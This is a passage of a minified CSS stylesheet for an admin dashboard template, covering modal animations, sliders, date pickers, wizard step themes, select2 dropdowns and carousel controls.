.modal.fade.modal-animate.anim-3d-rotate-bottom { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-rotate-bottom .modal-dialog { transform-style: preserve-3d; transform: translateY(100%) rotateX(90deg); transform-origin: 0 100%; opacity: 0; transition: all 0.3s ease-out; } .modal.fade.modal-animate.anim-3d-rotate-bottom.show .modal-dialog { transform: translateY(0%) rotateX(0deg); opacity: 1; } .modal.fade.modal-animate.anim-3d-rotate-InLeft { perspective: 1300px; } .modal.fade.modal-animate.anim-3d-rotate-InLeft .modal-dialog { transform-style: preserve-3d; transform: translateZ(100px) translateX(-30%) rotateY(90deg); transform-origin: 0 100%; opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-3d-rotate-InLeft.show .modal-dialog { transform: translateZ(0px) translateX(0%) rotateY(0deg); opacity: 1; } .modal.fade.modal-animate.anim-blur { -webkit-backdrop-filter: blur(8px); backdrop-filter: blur(8px); } .modal.fade.modal-animate.anim-blur .modal-dialog { transform: scale(0.7); opacity: 0; transition: all 0.3s; } .modal.fade.modal-animate.anim-blur.show .modal-dialog { transform: none; opacity: 1; } .modal.fade.modal-animate.anim-let-me-in .modal-dialog { opacity: 0; transform: translateY(200%); transition: all 0.3s 0.2s; } .modal.fade.modal-animate.anim-let-me-in.show .modal-dialog { transform: translateY(0); opacity: 1; } .modal.fade.modal-animate.anim-make-way .modal-dialog { opacity: 0; transform: translateX(200%); transition: all 0.3s 0.2s; } .modal.fade.modal-animate.anim-make-way.show .modal-dialog { transform: translateY(0); opacity: 1; } .modal.fade.modal-animate.anim-slip-from-top .modal-dialog { opacity: 0; transform: translateY(-200%); transition: all 0.5s 0.1s; } .modal.fade.modal-animate.anim-slip-from-top.show .modal-dialog { transform: translateY(0); opacity: 1; } body { /* Effect 17: Slide in from bottom with perspective on container */ /* Effect 18: Slide from right with perspective on container */ /* Effect 19: Slip in from the top with perspective on container */ } body.anim-let-me-in { perspective: 600px; overflow: hidden; height: 100vh; } body.anim-let-me-in .header-user-list, body.anim-let-me-in .page-header, body.anim-let-me-in .header-chat, body.anim-let-me-in .menu-styler { display: none; } body.anim-let-me-in .dash-sidebar, body.anim-let-me-in .dash-header, body.anim-let-me-in .dash-container, body.anim-let-me-in .modal-backdrop { transition: transform 0.3s; } body.anim-let-me-in.modal-open .dash-sidebar, body.anim-let-me-in.modal-open .dash-header, body.anim-let-me-in.modal-open .dash-container, body.anim-let-me-in.modal-open .modal-backdrop { transform: rotateX(-3deg); transform-origin: 50% 0%; transform-style: preserve-3d; } body.anim-make-way { perspective: 600px; overflow: hidden; height: 100vh; } body.anim-make-way .header-user-list, body.anim-make-way .page-header, body.anim-make-way .header-chat, body.anim-make-way .menu-styler { display: none; } body.anim-make-way .dash-sidebar, body.anim-make-way .dash-header, body.anim-make-way .dash-container, body.anim-make-way .modal-backdrop { transition: all 0.5s; } body.anim-make-way.modal-open .dash-sidebar, body.anim-make-way.modal-open .dash-header, body.anim-make-way.modal-open .dash-container, body.anim-make-way.modal-open .modal-backdrop { transform-style: preserve-3d; transform-origin: 0% 50%; animation: rotateRightSideFirst 0.5s forwards ease-in; } body.anim-slip-from-top { perspective: 600px; overflow: hidden; height: 100vh; } body.anim-slip-from-top .header-user-list, body.anim-slip-from-top .header-chat, body.anim-slip-from-top .page-header, body.anim-slip-from-top .menu-styler { display: none; } body.anim-slip-from-top .dash-sidebar, body.anim-slip-from-top .dash-header, body.anim-slip-from-top .dash-container, body.anim-slip-from-top .modal-backdrop { transition: all 0.5s; transform-style: preserve-3d; transform-origin: 50% 100%; animation: OpenTop 1.5s forwards ease-in; } body.anim-slip-from-top.modal-open .dash-header { opacity: 0; } @keyframes slit { 50% { transform: translateZ(-250px) rotateY(89deg); opacity: 1; animation-timing-function: ease-in; } 100% { transform: translateZ(0) rotateY(0deg); opacity: 1; } } @keyframes rotateRightSideFirst { 50% { transform: translateZ(-50px) rotateY(5deg); animation-timing-function: ease-out; } 100% { transform: translateZ(-200px); } } @keyframes OpenTop { 50% { transform: rotateX(10deg); animation-timing-function: ease-out; } } .slider.slider-horizontal .slider-handle.triangle, .slider.slider-horizontal .slider-tick.triangle { border-bottom-color: #51459d; } .slider.slider-vertical .slider-handle.triangle, .slider.slider-vertical .slider-tick.triangle { border-left-color: #51459d; border-right-color: #51459d; } .slider.slider-disabled .slider-handle { background-image: linear-gradient(to bottom, #dfdfdf 0, #bebebe 100%); background-repeat: repeat-x; } .slider.slider-disabled .slider-track { background-image: linear-gradient(to bottom, #f8f9fd 0, #f8f9fd 100%); background-repeat: repeat-x; } .slider-track { background-image: linear-gradient(to bottom, #f8f9fd 0, #f8f9fd 100%); background-repeat: repeat-x; } .slider-selection { background-image: linear-gradient(to bottom, #9b92cf 0, #9b92cf 100%); background-repeat: repeat-x; } .slider-selection.tick-slider-selection { background-image: linear-gradient(to bottom, #8a81c7 0, #8a81c7 100%); background-repeat: repeat-x; } .slider-handle { background-color: #51459d; background-image: linear-gradient(to bottom, #51459d 0, #51459d 100%); background-repeat: repeat-x; } .slider-tick { background-image: linear-gradient(to bottom, #f9f9f9 0, #f5f5f5 100%); background-repeat: repeat-x; } .slider-tick.in-selection { background-image: linear-gradient(to bottom, #8a81c7 0, #8a81c7 100%); background-repeat: repeat-x; } #ex7-enabled { position: relative; top: 4px; height: 18px; width: 18px; } #RGB { height: 10px; background: gray; } #RC .slider-selection { background: #FF8282; } #RC .slider-handle { background: red; } #GC .slider-selection { background: #428041; } #GC .slider-handle { background: green; } #BC .slider-selection { background: #8283FF; } #BC .slider-handle { border-bottom-color: blue; } #B, #G, #R { width: 300px; } .slider-handle.custom { background: transparent none; } .slider-handle.custom::before { line-height: 15px; font-size: 28px; content: '\2605'; color: #726204; } #slider12a .slider-track-high, #slider12c .slider-track-high { background: #6fd943; } #slider12b .slider-track-low { background: #ff3a6e; } #slider12c .slider-track-low { background: #ff3a6e; } #slider12c .slider-selection { background: #ffa21d; } #slider22 .slider-rangeHighlight { background: #f70616; } #slider22 .slider-rangeHighlight.category1 { background: #FF9900; } #slider22 .slider-rangeHighlight.category2 { background: #99CC00; } .vtree a.vtree-leaf-label { color: #293240; } .vtree a.vtree-leaf-label:hover, .vtree a.vtree-leaf-label:focus, .vtree a.vtree-leaf-label:active { color: #51459d; } .daterangepicker { font-family: "Open Sans", sans-serif; border: 1px solid rgba(0, 0, 0, 0.15); box-shadow: 0 0 25px rgba(81, 69, 157, 0.15); background-color: #ffffff; } .daterangepicker .calendar-table { border: 1px solid #ffffff; background-color: #ffffff; } .daterangepicker .calendar-table td, .daterangepicker .calendar-table th { color: #6c757d; } .daterangepicker .calendar-table .next span, .daterangepicker .calendar-table .prev span { border-color: #adb5bd; } .daterangepicker td.in-range { background-color: #a8a0d5; color: #495057; } .daterangepicker td.off, .daterangepicker td.off.end-date, .daterangepicker td.off.in-range, .daterangepicker td.off.start-date { background-color: #ffffff; color: #293240; opacity: 0.5; } .daterangepicker td.active, .daterangepicker td.active:hover { background-color: #51459d; color: #fff; } .daterangepicker td.available:hover, .daterangepicker th.available:hover { background-color: #51459d; color: #fff; } .daterangepicker td.available:hover > span, .daterangepicker th.available:hover > span { border-color: #fff; } .daterangepicker:after { border-bottom: 6px solid #ffffff; } .daterangepicker:before { border-bottom: 7px solid rgba(0, 0, 0, 0.15); } .daterangepicker .ranges ul { padding-top: 15px; padding-bottom: 15px; } @media (min-width: 564px) { .daterangepicker .ranges ul { width: 160px; } } .daterangepicker .ranges ul li { margin: 5px 10px; transition: all 0.2s ease-in-out; } .daterangepicker .ranges ul li.active { background-color: #51459d; } .daterangepicker .ranges ul li:hover { box-shadow: 0 15px 8px -9px rgba(0, 0, 0, 0.25); background-color: #51459d; color: #fff; } .daterangepicker .drp-buttons { border-top: 1px solid rgba(0, 0, 0, 0.15); } .daterangepicker.show-ranges .drp-calendar.left { border-left: 1px solid rgba(0, 0, 0, 0.15); } .datepicker-dropdown .datepicker-picker { box-shadow: 0 1px 10px 0 rgba(69, 90, 100, 0.2); } .datepicker-view .week { color: #51459d; } .datepicker-cell.selected { background-color: #51459d; color: #fff; } .datepicker-cell.selected:hover { background-color: #51459d; color: #fff; } .datepicker-cell.disabled { color: #dcdaeb; background-color: #f8f9fd; } .datepicker-cell.highlighted:not(.selected):not(.range):not(.today) { background-color: #dcdaeb; color: #51459d; border-radius: 0; } .datepicker-cell.highlighted:not(.selected):not(.range):not(.today):not(.disabled):hover { background-color: #dcdaeb; color: #51459d; } .datepicker-cell.highlighted:not(.selected):not(.range):not(.today).focused { background-color: #51459d; color: #fff; } .datepicker-input.in-edit { border-color: #51459d; } .bootstrap-tagsinput { padding: 5px 10px; line-height: 28px; background: #f8f9fd; border: 1px solid #f1f1f1; border-radius: 10px; width: 100%; } .bootstrap-tagsinput .tag { background: #51459d; padding: 5px 12px; color: #fff; border-radius: 10px; } .bootstrap-maxlength { background: #51459d; border-radius: 10px; padding: 5px 10px; color: #fff; } .bootstrap-maxlength.label-danger { background: theme-color("danger"); } .bootstrap-maxlength.label-success { background: theme-color("success"); } .bootstrap-maxlength.label-warning { background: theme-color("warning"); } .divider-body { border-color: #f8f9fd; background: #f8f9fd; } .sw .toolbar { padding: 25px 25px; } .sw .toolbar > .btn.disabled, .sw .toolbar > .btn:disabled { opacity: 0.5; } .sw > .nav .nav-link { padding: 1rem; } .sw.sw-dark { color: rgba(255, 255, 255, 0.95); background: #1c232f; } .sw.sw-dark h4, .sw.sw-dark .h4 { color: rgba(255, 255, 255, 0.95); } .sw.sw-dark .form-select, .sw.sw-dark .form-control, .sw.sw-dark .custom-select, .sw.sw-dark .dataTable-selector, .sw.sw-dark .dataTable-input { background: #222a39; border-color: #273142; color: rgba(255, 255, 255, 0.95); } .sw.sw-dark .form-check-input:not(:checked[type="radio"]) { background: #222a39; } .sw.sw-dark .divider-body { border-color: #273142 !important; background: #273142; } .sw.sw-loading::before { border-color: #f1f1f1; border-top-color: 10px solid #51459d; } /* SmartWizard Theme: Default */ .sw-theme-default { border: 1px solid #f1f1f1; } .sw-theme-default > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-default .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-default > .nav { box-shadow: none !important; border-bottom: 1px solid #f1f1f1; } .sw-theme-default > .nav .nav-link::after { background: #f8f9fd; } .sw-theme-default > .nav .nav-link.inactive { color: #6c757d; } .sw-theme-default > .nav .nav-link.active { color: #51459d !important; } .sw-theme-default > .nav .nav-link.active::after { background: #51459d !important; } .sw-theme-default > .nav .nav-link.done { color: #51459d !important; } .sw-theme-default > .nav .nav-link.done::after { background: #dcdaeb; } .sw-theme-default > .nav .nav-link.danger { color: #ff3a6e !important; } .sw-theme-default > .nav .nav-link.danger::after { background: #ff3a6e; } .sw-theme-default.sw-dark > .nav { box-shadow: none !important; border-bottom: 1px solid #f1f1f1; } .sw-theme-default.sw-dark > .nav .nav-link.inactive { color: rgba(255, 255, 255, 0.5); } .sw-theme-default.sw-dark > .nav .nav-link.active { color: #fff !important; } .sw-theme-default.sw-dark > .nav .nav-link.active::after { background: #51459d !important; } .sw-theme-default.sw-dark > .nav .nav-link.done { color: rgba(255, 255, 255, 0.75) !important; } .sw-theme-default.sw-dark > .nav .nav-link.done::after { background: rgba(255, 255, 255, 0.75); } /* SmartWizard Theme: Arrows */ .sw-theme-arrows { border: 1px solid #f1f1f1; } .sw-theme-arrows > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-arrows .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-arrows > .nav { border-bottom: 1px solid #f1f1f1; background-color: #f8f9fd; } .sw-theme-arrows > .nav .nav-link { padding-left: 40px; } .sw-theme-arrows > .nav .nav-link::after { border-left-color: #f8f9fd; } .sw-theme-arrows > .nav .nav-link::before { border-left-color: #f8f9fd; } .sw-theme-arrows > .nav .nav-link.inactive { color: #6c757d; border-color: #f8f9fd; background: #f8f9fd; } .sw-theme-arrows > .nav .nav-link.active { color: #ffffff; border-color: #51459d; background: #51459d; } .sw-theme-arrows > .nav .nav-link.active::after { border-left-color: #51459d; } .sw-theme-arrows > .nav .nav-link.done { color: #51459d; border-color: #dcdaeb; background: #dcdaeb; } .sw-theme-arrows > .nav .nav-link.done::after { border-left-color: #dcdaeb; } .sw-theme-arrows > .nav .nav-link.danger { color: #ffffff; border-color: #ff3a6e; background: #ff3a6e; } .sw-theme-arrows > .nav .nav-link.danger::after { border-left-color: #ff3a6e; } .sw-theme-arrows.sw-dark { color: rgba(255, 255, 255, 0.95); background: #1c232f; } .sw-theme-arrows.sw-dark > .nav { border-bottom: 1px solid #2f3b4f; background-color: #2f3b4f; } .sw-theme-arrows.sw-dark > .nav .nav-link::after { border-left: 30px solid #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link::before { border-left: 30px solid #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link.inactive { color: white; border-color: #2f3b4f; background: #2f3b4f; } .sw-theme-arrows.sw-dark > .nav .nav-link.inactive::after { border-left-color: #2f3b4f; } .sw-theme-arrows.sw-dark > .nav .nav-link.active { color: white; border-color: #1c232f; background: #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link.active::after { border-left-color: #1c232f; } .sw-theme-arrows.sw-dark > .nav .nav-link.done { color: white; border-color: #222a39; background: #222a39; } .sw-theme-arrows.sw-dark > .nav .nav-link.done::after { border-left-color: #222a39; } .sw-theme-arrows.sw-dark > .nav .nav-link.danger { color: #ffffff; border-color: #ff3a6e; background: #ff3a6e; } .sw-theme-arrows.sw-dark > .nav .nav-link.danger::after { border-left-color: #ff3a6e; } /* SmartWizard Theme: Dots */ .sw-theme-dots > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-dots .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-dots > .nav { margin-bottom: 0; } .sw-theme-dots > .nav::before { height: 5px; background-color: #f1f1f1; } .sw-theme-dots > .nav .nav-link::before { background: #f1f1f1; color: #51459d; } .sw-theme-dots > .nav .nav-link.inactive { color: #a7acb1; } .sw-theme-dots > .nav .nav-link.inactive::after { background-color: #e2e3e5; } .sw-theme-dots > .nav .nav-link.active { color: #51459d !important; } .sw-theme-dots > .nav .nav-link.active::after { background-color: #51459d !important; } .sw-theme-dots > .nav .nav-link.done { color: #6c757d; } .sw-theme-dots > .nav .nav-link.done::after { background-color: #6c757d; } .sw-theme-dots > .nav .nav-link.danger { color: #ff3a6e; } .sw-theme-dots > .nav .nav-link.danger::after { background-color: #ff3a6e; } .sw-theme-dots.sw-dark { color: rgba(255, 255, 255, 0.5); background: #1c232f; } .sw-theme-dots.sw-dark > .nav::before { background-color: #273142; } .sw-theme-dots.sw-dark > .nav .nav-link::before { background: #273142; color: black; } .sw-theme-dots.sw-dark > .nav .nav-link.inactive { color: rgba(255, 255, 255, 0.5); } .sw-theme-dots.sw-dark > .nav .nav-link.inactive::after { background-color: #7b838a; } .sw-theme-dots.sw-dark > .nav .nav-link.active { color: #fff !important; } .sw-theme-dots.sw-dark > .nav .nav-link.active::after { background-color: #51459d !important; } .sw-theme-dots.sw-dark > .nav .nav-link.done { color: rgba(255, 255, 255, 0.85); } .sw-theme-dots.sw-dark > .nav .nav-link.done::after { background-color: #978fc4; } /* SmartWizard Theme: Progress */ .sw-theme-progress { border: 1px solid #f1f1f1; } .sw-theme-progress > .tab-content > .tab-pane { padding: 25px 25px; } .sw-theme-progress .toolbar > .btn { color: #fff; background-color: #6c757d; border: 1px solid #6c757d; padding: 0.575rem 1.3rem; border-radius: 6px; font-weight: 500; } .sw-theme-progress > .nav { box-shadow: none !important; border-bottom: 1px solid #f1f1f1; } .sw-theme-progress > .nav .nav-link::after { background: #ffffff; } .sw-theme-progress > .nav .nav-link.inactive { color: #6c757d; } .sw-theme-progress > .nav .nav-link.active { color: #ffffff !important; } .sw-theme-progress > .nav .nav-link.active::after { background-color: #51459d; width: 100%; } .sw-theme-progress > .nav .nav-link.done { color: #ffffff !important; } .sw-theme-progress > .nav .nav-link.done::after { background: #51459d; } .sw-theme-progress > .nav .nav-link.danger { color: #ffffff !important; cursor: pointer; } .sw-theme-progress > .nav .nav-link.danger::after { background: #ff3a6e; } .sw-theme-progress.sw-dark { color: rgba(255, 255, 255, 0.5); } .sw-theme-progress.sw-dark > .nav { background: #273142; border-bottom-color: #273142; } .sw-theme-progress.sw-dark > .nav .nav-link.active { color: white; } .sw-theme-progress.sw-dark > .nav .nav-link.active::after { background-color: #1c232f; } .sw-theme-progress.sw-dark > .nav .nav-link.done { color: #ffffff !important; } .sw-theme-progress.sw-dark > .nav .nav-link.done::after { background: #1c232f; } .tabcontrol, .wizard { display: block; width: 100%; overflow: hidden; } .tabcontrol a, .wizard a { outline: 0; } .tabcontrol ul, .wizard ul { list-style: none !important; padding: 0; margin: 0; } .tabcontrol ul > li, .wizard ul > li { display: block; padding: 0; } /* Accessibility */ .tabcontrol > .content > .title, .tabcontrol > .steps .current-info, .wizard > .content > .title, .wizard > .steps .current-info { position: absolute; left: -999em; } /* Wizard */ .wizard > .steps { position: relative; display: block; width: 100%; } .wizard.vertical > .steps { display: inline; float: left; width: 30%; } .wizard.vertical > .steps > ul > li { float: none; width: 100%; } .wizard.vertical > .content { display: inline; float: left; margin: 0 2.5% 0.5em; width: 65%; } .wizard.vertical > .actions { display: inline; float: right; margin: 0 2.5%; width: 95%; } .wizard.vertical > .actions > ul > li { margin: 0 0 0 1em; } .wizard > .steps .number { font-size: 1.429em; } .wizard > .steps > ul > li { width: 25%; float: left; } .wizard > .actions > ul > li { float: left; } .wizard > .steps a { display: block; width: auto; margin: 0 0.5em 0.5em; padding: 1em; text-decoration: none; border-radius: 5px; } .wizard > .steps a:active, .wizard > .steps a:hover { display: block; width: auto; margin: 0 0.5em 0.5em; padding: 1em; text-decoration: none; border-radius: 5px; } .wizard > .steps .disabled a { background: #f8f9fd; color: #293240; cursor: default; opacity: 0.6; } .wizard > .steps .disabled a:active, .wizard > .steps .disabled a:hover { background: #f8f9fd; color: #293240; cursor: default; } .wizard > .steps .current a { background: #51459d; color: #fff; cursor: default; } .wizard > .steps .current a:active, .wizard > .steps .current a:hover { background: #51459d; color: #fff; cursor: default; } .wizard > .steps .done a { background: rgba(81, 69, 157, 0.2); color: #51459d; } .wizard > .steps .done a:active, .wizard > .steps .done a:hover { background: rgba(81, 69, 157, 0.2); color: #51459d; } .wizard > .steps .error a { background: #ff3a6e; color: #fff; } .wizard > .steps .error a:active, .wizard > .steps .error a:hover { background: #ff3a6e; color: #fff; } .wizard > .content { background: white; display: block; margin: 0.5em; min-height: 8em; overflow: hidden; position: relative; width: auto; border-radius: 5px; } .wizard > .content > .body { padding: 25px; } .wizard > .content > .body ul { list-style: disc !important; } .wizard > .content > .body ul > li { display: list-item; } .wizard > .content > .body > iframe { border: 0 none; width: 100%; height: 100%; } .wizard > .content > .body input.error { background: #fbe3e4; border-color: #ff3a6e; color: #ff3a6e; } .wizard > .content > .body label { display: inline-block; margin-bottom: 0.5em; } .wizard > .content > .body label.error { color: #ff3a6e; display: inline-block; margin-left: 1.5em; } .wizard > .actions { position: relative; display: block; text-align: right; width: 100%; } .wizard > .actions > ul { display: inline-block; text-align: right; } .wizard > .actions > ul > li { margin: 0 0.5em; } .wizard > .actions a { background: #51459d; color: #fff; display: block; padding: 0.5em 1em; text-decoration: none; border-radius: 5px; } .wizard > .actions a:active, .wizard > .actions a:hover { background: #51459d; color: #fff; display: block; padding: 0.5em 1em; text-decoration: none; border-radius: 5px; } .wizard > .actions .disabled a { background: #f8f9fd; color: #aaa; } .wizard > .actions .disabled a:active, .wizard > .actions .disabled a:hover { background: #f8f9fd; color: #aaa; } @media (max-width: 768px) { .wizard .steps > ul > li { width: 100%; } .wizard.vertical > .steps, .wizard.vertical > .content { width: 100%; } } .dash-wizard.wizard .number { display: none; } .dash-wizard.wizard > .steps a { display: flex; align-items: center; margin: 0.5em; position: relative; } .dash-wizard.wizard > .steps a:after { content: ""; font-family: "Font Awesome 5 Free"; font-weight: 900; font-size: 20px; position: absolute; right: 0; top: 20px; opacity: 0.5; } .dash-wizard.wizard > .steps a span b { display: block; } .dash-wizard.wizard > .steps a .num-icon { width: 35px; height: 35px; border-radius: 10px; margin-right: 10px; background: #f8f9fd; color: #293240; display: inline-flex; align-items: center; justify-content: center; } .dash-wizard.wizard > .steps a.disabled:hover { background: transparent; } .dash-wizard.wizard > .steps a:hover { display: flex; } .dash-wizard.wizard > .steps > ul > li:last-child a:after { visibility: hidden; } .dash-wizard.wizard > .steps .disabled a { background: transparent; } .dash-wizard.wizard > .steps .current a { background: transparent; color: inherit; } .dash-wizard.wizard > .steps .current a .num-icon { background: #51459d; color: #fff; } .dash-wizard.wizard > .steps .done a { background: transparent; } .dash-wizard.wizard > .steps .done a .num-icon { background: rgba(81, 69, 157, 0.2); color: #51459d; } .dash-wizard.wizard > .steps .done a span { color: #293240; } .dash-wizard.wizard > .content { margin: 0; border-radius: 0; border-top: 1px solid #f1f1f1; border-bottom: 1px solid #f1f1f1; } .dash-wizard.wizard > .actions { padding: 15px 25px 10px; } .dash-wizard.wizard.vertical > .actions, .dash-wizard.wizard.vertical > .content { margin: 0; background: white; width: 70%; border-left: 1px solid #f1f1f1; } .dash-wizard.wizard.vertical > .content { padding: 25px 25px 0; border-radius: 0 10px 0 0; } .dash-wizard.wizard.vertical .actions { padding: 25px; border-radius: 0 0 10px 0; } .dash-wizard.wizard.vertical > .steps { padding: 35px 10px; } .dash-wizard.wizard.vertical > .steps a:after { content: ""; right: 10px; } .dash-wizard.wizard.vertical > .steps > ul > li:last-child a:after { visibility: visible; } @media (max-width: 768px) { .dash-wizard.wizard > .steps a:after { right: 15px; } .dash-wizard.wizard > .steps > ul > li:last-child a:after { visibility: visible; } .dash-wizard.wizard.vertical > .steps { padding: 0; } .dash-wizard.wizard.vertical > .content { padding: 0; } .dash-wizard.wizard.vertical > .actions, .dash-wizard.wizard.vertical > .content { width: 100%; } } .dash-tab-control.wizard .number { display: none; } .dash-tab-control.wizard > .steps a { display: flex; align-items: center; margin: 0.5em 0.5em 0; padding: 1em 1.6em; border-radius: 10px 10px 0 0; position: relative; background: rgba(255, 255, 255, 0.4); } .dash-tab-control.wizard > .steps a span { color: #293240; } .dash-tab-control.wizard > .steps a span b { display: block; } .dash-tab-control.wizard > .steps a .num-icon { width: 35px; height: 35px; border-radius: 10px; margin-right: 10px; background: #f8f9fd; display: inline-flex; align-items: center; justify-content: center; } .dash-tab-control.wizard > .steps a .num-icon .material-icons-two-tone { background-color: #293240; } .dash-tab-control.wizard > .steps a.disabled:hover { background: transparent; } .dash-tab-control.wizard > .steps a:hover { display: flex; } .dash-tab-control.wizard > .steps .done a:active, .dash-tab-control.wizard > .steps .done a:hover { background: rgba(255, 255, 255, 0.4); } .dash-tab-control.wizard > .steps > ul > li:last-child a { margin-right: 0; } .dash-tab-control.wizard > .steps > ul > li:first-child a { margin-left: 0; } .dash-tab-control.wizard > .steps > ul > li:last-child a:after { visibility: hidden; } .dash-tab-control.wizard > .steps .disabled a { background: transparent; } .dash-tab-control.wizard > .steps .current a { background: #fff; color: inherit; } .dash-tab-control.wizard > .steps .current a .num-icon { background: #51459d; color: #fff; } .dash-tab-control.wizard > .steps .current a .num-icon .material-icons-two-tone { background-color: #fff; } .dash-tab-control.wizard > .content { margin: 0; border-radius: 0 0 10px 10px; background: #ffffff; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); margin-bottom: 30px; } .dash-tab-control.wizard > .actions { padding: 15px 25px 10px; } @media (max-width: 768px) { .dash-tab-control.wizard > .steps a { margin: 0; border-radius: 10px; } } .wizard-step .error { color: #ff3a6e; } .progress { height: 6px; } .progress .ui-progressbar-value { background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent); background-size: 6px 6px; background-color: #51459d; animation: 1s linear infinite progress-bar-stripes; } .step-app > .step-steps { margin: 0; padding: 0; display: flex; overflow: hidden; } .step-app > .step-steps > li { list-style: none; flex: 1; cursor: pointer; display: block; padding: 20px 25px; background: #f8f9fd; color: #293240; text-decoration: none; border-radius: 10px; } .step-app > .step-steps > li + li { margin-left: 15px; } .step-app > .step-steps > li:hover { background-color: #dcdaeb; color: #51459d; } .step-app > .step-steps > li.active { background-color: #51459d; color: #fff; } .step-app > .step-steps > li.error { background-color: #ffd8e2; color: #ff3a6e; } .step-app > .step-steps > li.done { background-color: #dcdaeb; color: #51459d; } .step-app > .step-steps > li > .number { background: #fff; padding: 0 8px; display: inline-block; text-align: center; margin-right: 15px; border-radius: 3px; color: #333; } .step-app > .step-content { padding: 20px 25px; background: #fefeff; border-radius: 10px; margin-top: 15px; } .step-app > .step-content > .step-tab-panel { display: none; } .step-app > .step-content > .step-tab-panel.active { display: block; } .step-app > .step-footer { margin-top: 15px; margin-bottom: 15px; } .select2-container .select2-selection--single { height: calc(1.5em + 0.75rem + 2px); } .select2-container .select2-selection--single .select2-selection__rendered { display: block; padding-left: 8px; padding-right: 20px; } .select2-container[dir="rtl"] .select2-selection--single .select2-selection__rendered { padding-right: 8px; padding-left: 20px; } .select2-container .select2-selection--multiple { min-height: 32px; } .select2-container .select2-selection--multiple .select2-selection__rendered { padding-left: 8px; } @media (max-width: 575px) { .select2-container { width: 100% !important; } } .select2-dropdown { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--default .select2-selection--single { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--default .select2-selection--single .select2-selection__rendered { color: #444; line-height: calc(1.5em + 0.75rem + 2px); } .select2-container--default .select2-selection--single .select2-selection__arrow { height: calc(1.5em + 0.75rem + 2px); } .select2-container--default .select2-selection--multiple { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--default .select2-selection--multiple .select2-selection__choice { background-color: #51459d; border: 1px solid #51459d; color: #fff; border-radius: 3px; padding: 2px 10px; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove { color: #fff; margin-right: 8px; position: relative; padding: 0 8px 0 0; } .select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover { color: #fff; background: transparent; } .select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove { margin-left: 8px; margin-right: auto; } .select2-container--default.select2-container--focus .select2-selection--multiple { border: solid #ced4da 1px; outline: 0; } .select2-container--default .select2-search--dropdown .select2-search__field { border: 1px solid #ced4da; } .select2-container--default .select2-results__option[aria-selected=true] { background-color: #f8f9fd; } .select2-container--default .select2-results__option--highlighted[aria-selected] { background-color: #51459d; color: #fff; } .select2-container--classic .select2-selection--single { background-color: #f7f7f7; border: 1px solid #ced4da; border-radius: 3px; outline: 0; } .select2-container--classic .select2-selection--single:focus { border: 1px solid #51459d; } .select2-container--classic .select2-selection--single .select2-selection__rendered { color: #444; line-height: calc(1.5em + 0.75rem + 2px); } .select2-container--classic .select2-selection--single .select2-selection__arrow { background-color: #f8f9fd; border-left: 1px solid #ced4da; border-top-right-radius: 3px; border-bottom-right-radius: 3px; height: calc(1.5em + 0.75rem + 2px); } .select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow { border-right: 1px solid #ced4da; border-radius: 0; border-top-left-radius: 3px; border-bottom-left-radius: 3px; } .select2-container--classic.select2-container--open .select2-selection--single { border: 1px solid #51459d; } .select2-container--classic .select2-selection--multiple { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--classic .select2-selection--multiple:focus { border: 1px solid #51459d; } .select2-container--classic .select2-selection--multiple .select2-selection__choice { background-color: #fff; border: 1px solid #ced4da; border-radius: 3px; } .select2-container--classic.select2-container--open .select2-selection--multiple { border: 1px solid #51459d; } .select2-container--classic .select2-search--dropdown .select2-search__field { border: 1px solid #ced4da; } .select2-container--classic .select2-results__option--highlighted[aria-selected] { background-color: #3875d7; color: #fff; } .select2-container--classic.select2-container--open .select2-dropdown { border-color: #51459d; } /* nav */ .tns-controls { text-align: center; margin-bottom: 10px; } .tns-controls [aria-controls] { font-size: 15px; margin: 0 5px; padding: 0 1em; height: 2.5em; color: #fff; background: #51459d; border-radius: 3px; border: 0; } [data-action] { display: block; margin: 10px auto; font-size: 17px; min-width: 3em; text-align: center; background: transparent; border: 0; } .tns-controls [disabled] { color: #999999; background: #B3B3B3; cursor: not-allowed !important; } .tns-nav { text-align: center; margin: 10px 0; } .tns-nav > [aria-controls] { width: 9px; height: 9px; padding: 0; margin: 0 5px; border-radius: 50%; background: #ddd; border: 0; } .tns-nav > .tns-nav-active { background: #999; } .thumbnails { margin: 20px 0; text-align: center; } .thumbnails li { display: inline-block; cursor: pointer; border: 5px solid #fff; } .thumbnails .tns-nav-active { background: none; border-color: #51459d; } .thumbnails img { height: auto; width: 46px; } .customize-tools { position: relative; } .controls { text-align: center; } .controls li { display: block; position: absolute; top: 50%; height: 60px; line-height: 60px; margin-top: -30px; padding: 0 15px; cursor: pointer; font-size: 30px; transition: background 0.3s; } .controls .prev { left: 0; } .controls .next { right: 0; } .controls li:hover { background: #f2f2f2; } /** ===================== Switches css start ========================== **/ .slow .switch-group { transition: left 0.7s; -webkit-transition: left 0.7s; } .fast .switch-group { transition: left 0.1s; -webkit-transition: left 0.1s; } .quick .switch-group { transition: none; -webkit-transition: none; } .table.switch-table th, .table.switch-table td { vertical-align: middle; padding: 